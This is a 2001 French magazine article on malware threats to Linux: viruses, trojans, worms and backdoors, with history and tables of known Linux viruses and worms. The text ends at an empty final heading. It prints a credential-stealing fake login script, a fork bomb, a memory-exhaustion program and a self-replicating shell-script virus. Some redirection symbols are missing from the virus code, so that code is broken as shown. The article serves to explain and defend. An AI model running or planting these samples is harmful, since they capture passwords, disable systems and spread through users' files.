# Virus : nous sommes concernés ![*]

*Cet article passe en revue les problèmes de sécurité interne pouvant se présenter sur un système Linux du seul fait de logiciels agressifs, sans intervention humaine : virus, vers, chevaux de Troie, etc. Nous détaillerons les différents types de dangers possibles, en examinant les avantages et les inconvénients des logiciels libres dans cette perspective.*

.

# Introduction

Il existe principalement quatre types de menaces distinctes, ce qui peut semer la confusion dans l'esprit de l'utilisateur, d'autant qu'il arrive fréquemment qu'une attaque s'appuie sur plusieurs mécanismes :

- Les *virus* se reproduisent en infectant le corps de programmes hôtes ;
- Les *chevaux de Troie* (*trojan horses*) exécutent des tâches malignes en se dissimulant au sein d'une coquille applicative d'aspect inoffensif ;
- Les *vers* (*worms*) profitent des réseaux informatiques pour se propager, par courrier électronique par exemple ;
- Les *accès cachés* (*backdoors*) permettent à un utilisateur externe de prendre le contrôle d'une application par des moyens détournés.

La classification n'est pas toujours très aisée ; il y a par exemple des programmes que certains observateurs classent dans les virus et d'autres dans les vers sans qu'une décision définitive puisse être prise. Cela n'a pas une grande importance dans le cadre de cet article qui veut simplement clarifier les idées sur les dangers qui peuvent menacer un système Linux.

Contrairement à ce que certains croient, ces quatre fléaux existent d'ores et déjà sous Linux. Certes, les virus trouvent dans ce système un terrain moins propice à leur développement que sous Dos par exemple, mais il ne faut pas pour autant négliger le danger présent. Nous allons donc examiner en détail les risques encourus face à chacun de ces mécanismes.

# Menaces potentielles

## Virus

Un virus est un morceau de code installé au sein d'un programme hôte, et capable de se répliquer afin d'infester un nouveau fichier exécutable. En fait, les virus sont nés dans les années soixante-dix, dans le cadre d'un jeu intellectuel en vogue parmi les programmeurs de l'époque : la "*core war*". Ce jeu est issu des laboratoires Bell AT&T [MARSDEN 00]. Le but du jeu est de faire fonctionner en parallèle dans un environnement mémoire limité des petits programmes ayant pour but de se détruire les uns les autres. Le système d'exploitation n'offrait pas de protection entre les espaces mémoire des différents programmes, aussi leur était-il possible de s'agresser mutuellement pour essayer de tuer les concurrents. Pour cela certains bombardaient avec des '0' la zone mémoire la plus large possible, d'autres se déplaçaient en permanence dans l'espace d'adressage en espérant écraser le code d'un adversaire, certains mêmes coopéraient à plusieurs pour éliminer un ennemi coriace.

Les algorithmes mis en oeuvre pour ce jeu étaient traduits dans un langage d'assemblage spécialement conçu pour l'occasion, le "*red code*", qui était exécuté par l'intermédiaire d'un émulateur, disponible sur l'essentiel des machines existantes. L'intérêt que l'on portait à ce jeu était le fruit d'une simple curiosité scientifique, comparable à l'enthousiasme ambiant vis-à-vis des explorations du Jeu de la Vie de Conway, des fractales, des algorithmes génétiques, etc.

Néanmoins, à la suite des articles concernant la *core war* parus dans le journal *Scientific American* [DEWDNEY 84], l'inévitable se produisit et plusieurs personnes se mirent à écrire des portions de code s'auto-répliquant en s'accrochant au secteur de démarrage des disquettes ou aux fichiers exécutables, tout d'abord sur ordinateurs Apple ][, puis MacIntosh et PC.

---

[*] Cet article a été publié dans le numéro Hors-Série Numéro 8 de Linux Magazine France « Spécial Sécurité » en Juillet 2001.

Le système d'exploitation Ms Dos constituait l'environnement de choix pour la prolifération des virus : fichiers exécutables statiques au format bien connu, pas de mécanisme de protection de la mémoire, aucune sécurité de droits d'accès aux fichiers, généralisation des programmes résidents *TSR* empilés en mémoire, etc. Il faut également ajouter l'état d'esprit général des utilisateurs, échangeant frénétiquement des programmes exécutables sur disquettes sans se soucier de la provenance des fichiers.

Dans son expression la plus simple, un virus est donc un petit morceau de code qui sera exécuté en supplément lors du lancement d'une application. Il profitera de ce moment pour rechercher d'autres fichiers exécutables encore non infectés, s'y incrustera (de préférence en laissant le programme original intact pour plus de discrétion) et se terminera. Lorsqu'on lancera le nouveau fichier exécutable, l'opération recommencera à nouveau.

Les virus peuvent disposer d'une panoplie impressionnante d'armes pour s'auto-répliquer. Dans [LUDWIG 91] et [LUDWIG 93] se trouve la description détaillée de virus pour Dos, disposant de techniques sophistiquées de dissimulation pour échapper aux logiciels anti-virus courants : encryptage aléatoire, modification permanente du code du virus, etc. Il est même possible de rencontrer des virus mettant en pratique les méthodes des algorithmes génétiques pour optimiser leurs chances de survie et de reproduction. Des informations similaires peuvent être trouvées dans un article assez célèbre : [SPAFFORD 94].

Mais il ne faut pas oublier qu'au-delà d'un sujet d'expérience en vie artificielle, le virus informatique peut causer d'importants dégâts. Car si le principe de la réplication multiple d'une portion de code n'a pas d'autres répercussions qu'un gaspillage de place (disque et mémoire), les virus sont généralement employés comme support - comme moyen de transport - pour d'autres entités déjà beaucoup plus antipathiques : les *bombes logiques*, que nous retrouvons également au sein des chevaux de Troie.

# Chevaux de Troie et bombes logiques

*Timeo Danaos et dona ferentes - Je crains les grecs même quand ils font un don.* (Virgile, l'*Énéide*, II, 49).

Les Troyens assiégés ont eu la mauvaise idée de faire entrer dans leur ville une immense statue en bois représentant un cheval, abandonnée par les assaillants grecs à titre d'offrande religieuse. Le cheval de Troie recelait en son flanc un véritable commando qui une fois infiltré dans la place profita de la nuit pour attaquer la ville de l'intérieur, permettant aux Grecs de gagner la guerre de Troie.

Le terme célèbre de "cheval de Troie" est souvent employé dans le domaine de la sécurité informatique pour désigner une application *a priori* innocente servant, à l'instar des virus vus plus haut, à véhiculer un code destructeur nommé *bombe logique*.

Une bombe logique est une portion de programme volontairement nuisible, dont les effets peuvent être très variés :

- consommation boulimique des ressources système (mémoire, disque, CPU, etc.) ;
- destruction rapide du plus grand nombre de fichiers possible (en les écrasant pour que leur contenu ne soit pas récupérable) ;
- destruction sournoise d'un seul fichier de temps à autre pour rester invisible le plus longtemps possible ;
- atteinte à la sécurité du système (mise en place de droits d'accès laxistes, transmission du fichier des mots de passe vers une adresse Internet, etc.) ;
- participation de la machine à des opérations de terrorisme informatique, comme les DDoS (*Distributed Denial of Service*) ainsi qu'on en rencontre dans l'article déjà célèbre [GIBSON 01] ;
- inventaire des numéros de licence des applications présentes sur le disque et transmission chez un éditeur de logiciel.

Dans certaines situations la bombe logique peut être écrite pour un système cible bien spécifique sur lequel elle tentera de voler des informations confidentielles, de détruire des fichiers précis ou de discréditer un utilisateur en empruntant son identité. Les exemplaires de cette bombe s'exécutant sur une autre machine seront totalement inoffensifs.

La bombe logique peut aussi tenter de détruire physiquement le système sur lequel elle se trouve. Les possibilités sont relativement rares, mais existent malgré tout (effacement de mémoire CMOS, modification de la mémoire flash des modems, retours en arrière prolongés sur les tables traçantes pouvant entraîner des bourrages destructeurs, déplacement accéléré des têtes de lecture des disques...)

Pour filer la métaphore explosive, nous dirons qu'une bombe logique nécessite pour son activation l'intervention d'un détonateur. En effet, entreprendre des actions dévastatrices dès le premier lancement d'un cheval de Troie ou d'un virus est une tactique très mauvaise du point de vue efficacité. Après son installation, il est préférable que la bombe logique attende un peu avant d'exploser, cela augmentera les chances d'atteindre d'autres systèmes dans le cas d'une transmission par virus, et dans celui d'un cheval de Troie, cela évitera que l'utilisateur ne fasse trop facilement le rapprochement entre l'installation de la

nouvelle application et les comportements anormaux de sa machine.

Comme les actions néfastes, l'évènement déclencheur peut être très varié : délai de dix jours après l'installation, disparition d'un compte utilisateur donné (licenciement), clavier et souris inactifs depuis trente minutes, charge importante de la file d'impression... les possibilités ne manquent pas ! Les chevaux de Troie les plus célèbres, bien que cela soit un peu galvaudé de nos jours sont les économiseurs d'écran. Derrière une façade attrayante, ces programmes peuvent nuire en toute tranquillité, surtout si la bombe logique n'est déclenchée qu'au bout d'une heure par exemple, ce qui assure que l'utilisateur n'est plus devant son ordinateur.

Un autre exemple fameux de cheval de Troie est le script suivant qui affiche un écran de connexion login/password, envoie les informations à l'adresse électronique de la personne l'ayant lancé, puis se termine. S'il fonctionne sur un terminal apparemment inutilisé, ce script permettra de capturer le mot de passe de la prochaine personne essayant de se connecter.

```
#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login : $login
        passwd : $passwd
fin
echo "Login incorrect"
sleep 1
logout
```

Pour qu'il se déconnecte en se terminant, il faut le lancer avec la commande **`exec`** du shell. La victime pensera avoir fait une faute de frappe en voyant le message "*Login incorrect*" et se connectera à nouveau par le mécanisme normal cette fois. Des versions plus évoluées peuvent simuler la boîte de dialogue de connexion sous X11. Pour éviter ce genre de piège, il est bon de prendre l'habitude, en arrivant sur un terminal, de toujours faire un cycle login/password fictif, avec des caractères quelconques, afin d'être sûr d'avoir vraiment à faire au système de connexion officiel (c'est un réflexe que l'on peut acquérir rapidement).

# Vers

*Et Paul se retrouva sur le Ver, exultant, comme un empereur dominant l'univers.* (F. Herbert "*Dune*")

Les "*vers*" sont issus du principe des virus. Il s'agit de programmes essayant, par réplication, d'obtenir une dissémination maximale. Ils peuvent également contenir, bien que ce ne soit pas leur caractéristique première, une bombe logique à déclenchement retardé. La différence entre vers et virus vient du fait que les vers n'emploient pas un programme hôte comme moyen de transport, mais utilisent les possibilités offertes par les réseaux, généralement le courrier électronique, pour se propager de machines en machines.

Les vers sont d'un niveau technique relativement élevé ; ils utilisent les failles de sécurité des logiciels proposant des services réseau pour forcer l'exécution d'une copie d'eux-mêmes sur une machine distante. L'archétype en est l'"*Internet Worm*" de 1988.

L'*Internet Worm* est un exemple de ver pur, ne contenant pas de bombe logique, mais dont l'effet dévastateur involontaire fût quand même redoutable. On peut en trouver une description sommaire mais précise dans [KEHOE 92] ou une analyse détaillée dans [SPAFFORD 88] ou [EICHIN 89]. On en trouve également une narration moins technique mais plus palpitante dans [STOLL 89] (à la suite de l'aventure principale de l'*Oeuf du Coucou*), où la frénésie des équipes luttant contre ce ver succède à la vague de panique gagnant les administrateurs des systèmes touchés.

Rapidement décrit, ce ver était un programme écrit par Robert Morris Jr, étudiant à l'université de Cornell, déjà connu pour un article sur les problèmes de sécurité des protocoles réseaux [MORRIS 85]. Le fait qu'il s'agisse également du fils d'un des responsables de la sécurité informatique de la NCSC, branche de la NSA, ajouta à l'impact de cette identification. Le programme lancé en fin d'après-midi le 2 novembre 1988 paralysa une grande partie des systèmes reliés à Internet. Il fonctionnait en plusieurs temps :

1. Une fois un ordinateur infiltré, le vers essayait de se propager sur le réseau. Pour obtenir des adresses il consultait les fichiers système et invoquait des utilitaires comme **`netstat`** fournissant des informations sur les interfaces réseau.

2. Il essayait ensuite de pénétrer dans les comptes des utilisateurs. Pour cela il effectuait des comparaisons entre le contenu d'un dictionnaire et le fichier des mots de passe. Il essayait aussi d'utiliser comme mot de passe des combinaisons du nom de l'utilisateur (à l'envers, répété, etc.). Cette phase s'appuyait donc sur une première faille de sécurité : les mots de passe cryptés dans un fichier (**`/etc/passwd`**) accessible en lecture, profitant ainsi des utilisateurs ayant fait un mauvais choix de mot de passe. Cette première faille a depuis été comblée par le mécanisme des *shadow passwords*.

3. S'il arrivait à forcer des comptes utilisateurs, le vers tentait de trouver des machines offrant un accès direct sans identification par le principe des fichiers **`~/.rhost`** et **`/etc/hosts.equiv`**. Dans ce cas il utilisait le mécanisme **`rsh`** pour exécuter des instructions sur la machine distante. Il pouvait ainsi se recopier sur le nouvel hôte et le cycle reprenait.

4. Sinon, pour essayer de s'introduire dans une autre machine, une seconde faille de sécurité était utilisée, en essayant d'exploiter un débordement de buffer (voir nos articles sur la programmation sécurisée dans Linux Magazine 23, 24, et 25) présent dans le démon **`fingerd`**. Ce bogue permettait l'exécution de code à distance. Aussi le vers pouvait-il se recopier sur le nouveau système et recommencer. Cela ne fonctionnait dans la pratique que sur certains types de processeurs.

5. Enfin, une troisième exploitation de faille de sécurité était mise en service : l'utilisation d'une option de débogage, active par défaut, dans le démon **`sendmail`**, et permettant d'envoyer un courrier qui était finalement transmis sur l'entrée standard du programme indiqué en tant que destinataire. Cette option n'aurait jamais due être activée sur des machines en exploitation, mais la plupart des administrateurs en ignoraient malheureusement l'existence.

Il faut noter qu'une fois que le ver avait trouvé le moyen d'exécuter quelques instructions sur la machine distante, sa recopie était assez complexe. Elle impliquait la transmission d'un petit programme en C, recompilé sur place, puis lancé. Celui-ci établissait une connexion TCP/IP avec l'ordinateur de départ, et récupérait les fichiers binaires complets du ver. Ces derniers, précompilés, existaient pour plusieurs architectures (Vax et Sun), ils étaient essayés l'un après l'autre. De plus le ver faisait preuve de beaucoup de précautions pour se dissimuler, ne pas laisser de trace, etc.

Malheureusement, le mécanisme qui devait éviter qu'un même ordinateur soit infecté à plusieurs reprises ne fonctionna pas comme prévu, et l'aspect nuisible du ver *Internet 88*, qui ne contenait pas de bombe logique, se manifesta donc par une forte surcharge des systèmes atteints (et notamment un engorgement des courriers électroniques, ce qui entraîna par ailleurs un retard dans la diffusion des remèdes).

Les vers sont relativement rares, du fait de la complexité de leur réalisation. Il ne faut pas les confondre avec un autre type de dangers, de plus en plus courants, les virus se transmettant en pièce attachée des courriers électroniques à la manière du fameux "*ILoveYou*". De conception beaucoup plus simple, il s'agit en réalité de macros écrites (en Basic) pour des applications de bureautique lancées automatiquement lorsque le courrier est lu. Cela ne fonctionne que sur certains système d'exploitation, lorsque le logiciel de consultation du courrier est configuré de manière simpliste. Ces programmes s'apparentent beaucoup plus au chevaux de Troie qu'aux vers, puisqu'ils demandent une action effective de la part de l'utilisateur pour être lancés.

# Accès cachés

Les accès cachés (*backdoors*) peuvent être rapprochés des chevaux de Troie, mais ils ne sont toutefois pas identiques. Un accès caché permet à un utilisateur informé d'effectuer une action secrète sur un logiciel, afin d'en obtenir un comportement différent. Cela peut s'apparenter aux *cheat codes* que l'on saisit durant un jeu pour disposer de ressources supplémentaires, arriver directement à un niveau supérieur, etc. Mais cela concerne également des applications critiques comme l'authentification des connexions ou le courrier électronique, qui peuvent offrir un accès dissimulé grâce à un mot de passe connu du seul concepteur du logiciel.

Le fait de laisser une trappe ouverte sur un logiciel pour pouvoir l'utiliser sans passer par la phase d'authentification normale est souvent dû à des programmeurs désirant faciliter la phase de débogage, même une fois l'application installée sur le site client. Il s'agit parfois d'accès officiels disposant de mots de passe par défaut (**`system`**, **`admin`**, **`superuser`**, etc) dont la présence n'est documentée que de manière obscure ce qui conduit les administrateurs ultérieurs à les laisser en place.

On se souviendra des différents accès dissimulés permettant de dialoguer avec le coeur du système du film "*Wargame*", mais on peut également retrouver des témoignages antérieurs relatant de telles pratiques. Dans un article assez incroyable [THOMPSON 84], Ken Thompson, l'un des pères d'Unix, décrit un mécanisme d'accès caché qu'il avait mis en place sur les systèmes Unix plusieurs années auparavant :

- Il avait modifié l'application **`/bin/login`** pour y incorporer une portion de code offrant l'accès direct au système sur saisie d'un mot de passe précompilé en dur (sans tenir compte de **`/etc/passwd`**). Ainsi tout système fonctionnant avec cette version de **`login`** pouvait-il être visité par Thompson.

- Seulement, à cette époque les sources des applications étaient disponibles (comme de nos jours avec les logiciels libres). Aussi le code source **`login.c`** était présent sur les systèmes Unix, et n'importe qui aurait pu voir le code piégé. Thompson fournissait donc un source **`login.c`** propre, ne contenant pas la trappe d'accès.

- Le problème à ce niveau était que n'importe quel administrateur pouvait recompiler **`login.c`** et effacer la version piégée. Aussi Thompson

modifia-t-il le compilateur C standard pour qu'il ajoute lui-même l'accès caché lorsqu'il s'apercevait qu'on lui demandait de compiler **`login.c`**.

- Mais, à nouveau, le code source du compilateur **`cc.c`** était disponible, et n'importe qui aurait pu voir les lignes suspectes ou recompiler le compilateur. Il fournissait donc une version innocente des sources du compilateur C, mais le fichier binaire, préalablement traité, était prévu pour reconnaître ses propres fichiers source, et insérait alors le code servant à insérer le code servant à infecter **`login.c`**...

Que faire contre ceci ? Dans l'absolu, rien ! La seule possibilité serait de repartir avec un système totalement vierge et insoupçonnable. À moins de reconstruire à partir de zéro une machine dont on crée tout le microcode, le système d'exploitation, les compilateurs, et les utilitaires, rien ne nous permet d'être sûrs de l'innocuité d'une application donnée même si les sources en sont disponibles.

# Et sous Linux ?

Nous avons examiné les risques essentiels auxquels un système quelconque peut être exposé. À présent, il nous faut déterminer les menaces qui pèsent plus particulièrement sur les logiciels libres et sur Linux.

## Bombes logiques

Intéressons-nous tout d'abord aux dégâts qu'une bombe logique est susceptible de provoquer si elle s'exécute sur une station Linux. Naturellement cela varie en fonction de l'effet recherché et des privilèges de l'utilisateur sous l'identité duquel elle se déclenche.

En ce qui concerne la destruction de fichiers système ou la consultation de données confidentielles, deux cas sont possibles. Si la bombe s'exécute sous l'identité *root*, elle aura tout pouvoir sur la machine, y compris l'écrasement de toutes les partitions, et les éventuelles menaces sur le matériel que nous avons évoquées plus haut. En revanche, si elle s'exécute sous une identité quelconque, elle ne pourra pas être plus destructrice qu'un utilisateur sans privilège ne le serait. Elle ne pourra détruire que les données appartenant à cet utilisateur précis. En ce cas, la responsabilité de chacun s'applique envers ses propres fichiers. Un administrateur système consciencieux ne réalise qu'un minimum de tâches en étant connecté sous l'identité *root*, ce qui diminue la probabilité de déclencher une bombe logique avec ce compte.

Si le système Linux protège relativement bien les données privées et les accès au matériel, en revanche il reste sensible aux attaques visant simplement à le rendre inopérant par consommation excessive des ressources. Par exemple, le programme C suivant est très difficile à arrêter, même si on le démarre depuis un compte utilisateur anodin, car s'il n'y a pas de limite imposée pour le nombre de processus par utilisateur, il va dévorer toutes les entrées disponibles de la table des processus, et empêcher toute nouvelle connexion pour essayer de le tuer :

```
  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}
```

Les limitations que l'on peut imposer aux utilisateurs (par l'appel-système **`setrlimit()`**, et la fonction **`ulimit`** du shell) permettent d'abréger le fonctionnement d'un tel programme, mais leur action n'intervient qu'après un temps sensible, durant lequel le système est inaccessible.

Dans le même ordre d'idée, un programme comme le suivant qui consomme toute la mémoire disponible, puis se met en boucle dévorant les cycles CPU est très gênant car il perturbe le fonctionnement d'autres processus :

```
  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) !=
NULL)
    memset (buffer, 0, LG);
  while (1)
    ;
}
```

En principe, ce programme est automatiquement tué par le mécanisme de gestion de la mémoire virtuelle dans les versions récentes du noyau. Mais auparavant, le noyau peut détruire d'autres tâches réclamant beaucoup de mémoire et récemment inactives (applications graphiques X11 par exemple). En outre, tous les autres processus réclamant de la mémoire verront leurs demandes échouer, ce qui les conduit bien souvent à se terminer immédiatement.

La mise hors-service de fonctionnalités réseau, est également assez simple, en surchargeant le port concerné par des demandes de connexion incessantes. Les remèdes existent pour éviter ceci, mais ils ne sont pas toujours mis en oeuvre par l'administrateur système. Nous voyons donc que sous Linux, bien qu'une bombe logique déclenchée par un utilisateur quelconque ne puisse pas détruire de fichiers ne lui appartenant pas, les nuisances sont

véritablement possibles et assez simples à réaliser puisqu'il suffit de combiner une poignée de **`fork()`**, **`malloc()`** et **`connect()`** pour éprouver durement le système et les services réseau.

# Virus

```
Subject: Unix Virus

VOUS AVEZ RECU UN VIRUS UNIX

Ce virus fonctionne sur un principe
coopératif :

Si vous utilisez Linux ou une variante
d'Unix, veuillez retransmettre ce message à
toutes vos connaissances, et détruire
quelques fichiers au hasard sur votre
système.
```

Contrairement à une idée trop souvent répétée, les virus peuvent très bien constituer une menace sous Linux. Il en existe d'ailleurs plusieurs. Ce qui est vrai en revanche, c'est qu'un virus sous Linux se trouvera dans un terrain où la dissémination sera difficile. Tout d'abord observons la phase d'infection d'une machine. Il faut que le code du virus y soit exécuté. Cela signifie qu'un fichier exécutable corrompu a été copié depuis un autre système. Dans le milieu Linux, l'habitude veut que pour fournir une application à un correspondant, on ne lui envoie pas directement les fichiers exécutables, mais on lui transmet plutôt l'*URL* où on a obtenu le logiciel. Cela signifie que l'infection proviendra à coup sûr d'un site officiel, où elle sera probablement détectée très rapidement. De même, une fois une machine infectée, pour qu'elle dissémine à son tour le virus, il faudrait qu'elle soit utilisée comme plate-forme de distribution pour des applications précompilées, cas peu répandu dans l'ensemble. En fait le fichier exécutable n'est pas un bon moyen de transport pour une bombe logique dans le monde des logiciels libres.

En ce qui concerne la dissémination interne à une machine, il est évident qu'une application infectée ne peut étendre la contagion qu'aux fichiers sur lesquels l'utilisateur qui la lance a un droit d'écriture. L'administrateur système prudent travaillant sur le compte *root* uniquement pour réaliser les opérations nécessitant véritablement des privilèges, il est peu probable qu'il lance un nouveau logiciel en étant connecté sous cette identité. À moins d'installer une application *Set-UID root* infectée par un virus, le danger est donc bien amoindri. Lorsqu'un utilisateur quelconque lancera un programme infecté, le virus ne pourra agir que sur les fichiers dont l'utilisateur est propriétaire, ce qui l'empêchera de se répandre dans les utilitaires système.

Si les virus ont longtemps représenté une utopie sous Unix, c'est également en raison de la diversité des processeurs (donc des langages d'assemblage) et des bibliothèques (donc des références objets) qui limitait la portée de tout code précompilé. Aujourd'hui ce n'est plus autant le cas, et un virus infectant les fichiers ELF compilés pour Linux sur processeur i386 avec la GlibC 2.1 trouverait un nombre de cibles importantes. D'autre part un virus peut très bien être écrit dans un langage ne dépendant pas de l'hôte l'exécutant. Voici par exemple un virus pour script shell. Il essaye de s'introduire en tête de tout script shell rencontré en aval du répertoire où on le lance. Pour éviter d'infecter plusieurs fois de suite le même script, le virus ignore les fichiers dont la seconde ligne contienne le commentaire "infecté" ou "vacciné".

```
#! /bin/sh
# infecté

( tmp_fic=/tmp/$$
candidats=$(find . -type f -uid $UID -
perm -0755)
for fic in $candidats ; do
        exec  < $fic
        # Essayons de lire une
première ligne,
        if  ! read ligne ; then
                continue
        fi
        # et vérifions que ce soit un
script shell.
        if [ "$ligne" != "#!/bin/sh" ]
&& [ "$ligne" != "#! /bin/sh" ] ; then
                continue
        fi
        # Lisons une seconde ligne.
        if ! read ligne ; then
                continue
        fi
        # Le fichier est-il déjà
infecté ou vacciné ?
        if [ "$ligne" == "# vacciné" ]
|| [ "$ligne" == "# infecté" ] ; then
                continue
        fi
        # Sinon on l'infecte :
recopier le corps du virus,
        head -33 $0 > $tmp_fic
        # puis le fichier original.
        cat $fic  $tmp_fic
        # Écraser le fichier original.
        cat $tmp_fic  $fic
done
 rm -f $tmp_fic
) 2/dev/null &
```

Le virus ne prend pas de précaution pour masquer sa présence ou son action, hormis de s'exécuter à l'arrière-plan tout en laissant le script original réaliser son travail normal. Bien évidemment ne lancez pas ce script en étant connecté sous l'identité *root* ! Surtout si vous remplacez le **`find .`** par **`find /`**. Malgré la simplicité de ce programme, on s'aperçoit vite qu'il est facile de le laisser fuir involontairement, surtout si le système contient beaucoup de scripts shell personnalisés.

La table 1 regroupe des informations sur les virus les plus connus sous Linux. Tous ces virus infectent les fichiers exécutables au format Elf en insérant leur code juste après l'entête du fichier, et en décalant le reste du code original.

Sauf indication contraire, ils recherchent des cibles d'infection potentielles dans les répertoires système. On voit à la lumière de ce tableau que le phénomène des virus sous Linux n'est pas anecdotique, même s'il n'est pas trop alarmant, essentiellement parce que ces virus sont jusqu'à présent inoffensifs.

On remarquera que le virus "Winux" est capable de se disséminer autant sous Linux que sous Windows. Il ne s'agit en pratique que d'un virus bénin, représentant plus une démonstration de possibilité qu'un véritable danger. Toutefois ce concept fait froid dans le dos, si l'on réalise qu'un tel intrus pourrait sauter de partition en partition, envahir un réseau hétérogène utilisant des serveurs Samba, etc. L'éradication serait d'autant plus difficile que les outils nécessaires devraient être disponibles sur les deux systèmes en même temps. Il est important de noter que les mécanismes de protection Linux, qui empêchent un virus fonctionnant sous une identité quelconque de modifier des fichiers système disparaissent si la partition est accédée depuis un virus fonctionnant sous Windows.

Insistons sur ce point : toutes les précautions d'administration que vous pouvez prendre sous Linux n'ont plus aucune efficacité si vous redémarrez votre machine sur une partition Windows contenant un éventuel virus multi plates-formes. Il s'agit d'un problème général pour toutes les stations disposant d'un *dual-boot* avec deux systèmes d'exploitation ; la protection générale de l'ensemble repose sur les mécanismes de sécurité du système le plus laxiste ! La seule solution viable est d'empêcher tout accès à vos partitions Linux depuis une application tournant sous Windows, en employant des systèmes de fichiers cryptés. Ceci n'est malheureusement pas encore très répandu, et gageons que ces virus attaquant des partitions non-montées vont représenter très prochainement un danger considérable pour les machines Linux.

Table 1 - Virus sous Linux

| *Nom* | *Bombe logique* | *Remarques* |
|---|---|---|
| Bliss | Apparemment inactive | Désinfection automatique du fichier exécutable si on l'invoque avec l'option **`--bliss-disinfect-files-please`** |
| Diesel | Néant | |
| Kagob | Néant | Utilise un fichier temporaire pour exécuter le programme original infecté |
| Satyr | Néant | |
| Vit4096 | Néant | N'infecte que les fichiers du répertoire courant. |
| Winter | Néant | Le code du virus est contenu dans 341 octets. Il n'infecte que les fichiers du répertoire courant. |
| Winux | Néant | Ce virus contient deux codes différents, et peut infecter autant les fichiers Windows que les fichiers Elf Linux. Toutefois il n'est pas capable d'explorer des partitions différentes de celle où il est stocké, ce qui limite de fait sa diffusion. |
| ZipWorm | Insère dans les fichiers Zip qu'il rencontre, des textes "trolls" sur Linux et Windows | |

# Chevaux de Troie

Les chevaux de Troie sont tout aussi redoutables que les virus, et le public semble en avoir plus conscience. Contrairement à une bombe logique véhiculée par un virus, celle qui se trouve dans un cheval de Troie aura été volontairement insérée par une intervention humaine. Dans le monde des logiciels libres, la chaîne s'étendant entre l'auteur d'une portion de code et l'utilisateur final ne contient au maximum qu'un à deux intermédiaires (disons un responsable de projet et un préparateur de distribution). En cas de découverte d'un cheval de Troie, le responsable sera alors facilement retrouvé.

Le monde des logiciels libres est donc relativement bien protégé contre les chevaux de Troie. Mais il s'agit bien des logiciels libres tels que nous les connaissons de nos jours, avec des projets clairement administrés, des auteurs disponibles, et des sites Internet de référence. Au contraire le système des logiciels *sharewares* ou *freewares* disponibles sous forme précompilée

uniquement, distribués de manière anarchique par des centaines de sites (ou de CD-rom de journaux) et où l'auteur n'est identifié que par une adresse électronique falsifiable est-il une véritable écurie de chevaux de Troie.

Notez que le fait de disposer des sources d'une application, et de la recompiler soi-même n'est pas nécessairement un gage de sécurité. Par exemple une bombe logique redoutable peut être dissimulée dans le script "**`configure`**" (celui que l'on invoque durant le "**`./configure; make`**") qui contient en général plus de 2000 lignes de code ! Dans le même ordre d'idée, si le fichier source d'une application est propre et se compile normalement, cela n'empêche pas le **`Makefile`** de dissimuler une bombe se déclenchant lors du "**`make install`**" final que l'on invoque généralement sous l'identité *root* !

Enfin, une partie importante des virus et chevaux de Troie redoutables sous Windows sont en réalité des macros s'exécutant lors de la consultation d'un document. Les suites bureautiques sous Linux ne savent pour l'instant pas interpréter ces macros, et l'utilisateur en tire un peu vite un sentiment de sécurité exagéré. Il viendra bien un moment où ces outils bureautiques auront la capacité d'exécuter les macros en Basic incluses dans le document. Que les concepteurs aient la mauvaise idée de laisser ces macros lancer des commandes sur le système finira également par arriver un jour. Bien sûr l'effet destructeur, comme pour les virus, sera limité aux privilèges de l'utilisateur, mais le fait de ne pas avoir perdu de fichier système (par ailleurs disponibles sur le CD d'installation) est un piètre réconfort pour l'utilisateur personnel qui vient de voir disparaître tous ses documents, ses fichiers source, sa correspondance, alors que sa dernière sauvegarde date d'un mois.

Notons pour terminer ce paragraphe sur les chevaux de Troie insérés dans des données, qu'il y a toujours une possibilité d'ennuyer l'utilisateur, même sans faire de dégâts, avec certains fichiers nécessitant une interprétation. On voit de temps à autre circuler sur Usenet des fichiers compressés qui se développent en une infinité d'autres fichiers jusqu'à saturation du disque. De même certains fichiers Postscript peuvent-ils bloquer l'interpréteur (**`ghostscript`** ou **`gv`**) en consommant du temps CPU. Ces actions ne sont pas bien redoutables, mais font perdre du temps et agacent l'utilisateur.

# Vers

Si Linux n'existait pas encore lors de la diffusion du Vers Internet de 1988, il n'en est pas moins probable qu'il aurait constitué une cible de choix pour ce genre d'attaque, la disponibilité des sources des logiciels libres simplifiant la recherche des failles de sécurité (débordements de buffers par exemple). La complexité d'écriture d'un vers de bonne qualité limite le nombre de ceux effectivement actifs sous Linux. La table 2 en présente quelques-uns, parmi les plus répandus.

Les vers exploitent les failles de sécurité présentes sur des serveurs réseau. Les stations ayant une faible connectivité à Internet ne sont donc théoriquement pas soumises à un risque aussi important que les serveurs connectés en permanence. Néanmoins l'évolution actuelle des moyens de liaison offerts aux particuliers (Câble, ADSL, etc.), ainsi que la facilité de mise en oeuvre des services réseau courants (serveur HTTP, FTP anonyme, etc.) font que tout un chacun peut être concerné rapidement.

En ce qui concerne les vers, on remarquera que leur dissémination est forcément limitée dans le temps. Ils ne "survivent" qu'en se répliquant de systèmes en systèmes, et du fait qu'ils s'appuient sur des failles de sécurité récemment découvertes, les mises à jour rapides des applications visées bloquent leur dispersion. Dans l'avenir, il est probable que les systèmes destinés aux particuliers devront automatiquement venir consulter quotidiennement des sites de référence - auxquels il faudra accorder toute confiance - pour y trouver les correctifs de sécurité des applications système. Ce principe sera probablement indispensable pour éviter à l'utilisateur de se livrer à un travail complet d'administrateur système, tout en lui laissant la possibilité de disposer d'applications réseau performantes.

Table 2 - Vers sous Linux

| *Nom* | *Failles exploitées* | *Remarques* |
|---|---|---|
| Lion (**`1i0n`**) | **`bind`** | Installe un accès caché (port TCP 10008) et un *root-kit* sur la machine envahie. Envoie des informations système vers une adresse électronique en Chine. |
| Ramen | **`lpr`**, **`nfs`**, **`wu-ftpd`** | Modifie les fichiers **`index.html`** qu'il rencontre |
| Adore (Red Worm) | **`bind`**, **`lpr`**, **`rpc`**, **`wu-ftpd`** | Installe un accès caché sur le système et envoie les informations vers des adresses électroniques en Chine et aux Etats-Unis. Installe une version modifiée de **`ps`** masquant ses processus. |
| Cheese | Comme Lion | Vers prétendu "bienfaisant" vérifiant et éliminant les accès cachés ouverts par *Lion*. |

# Accès cachés

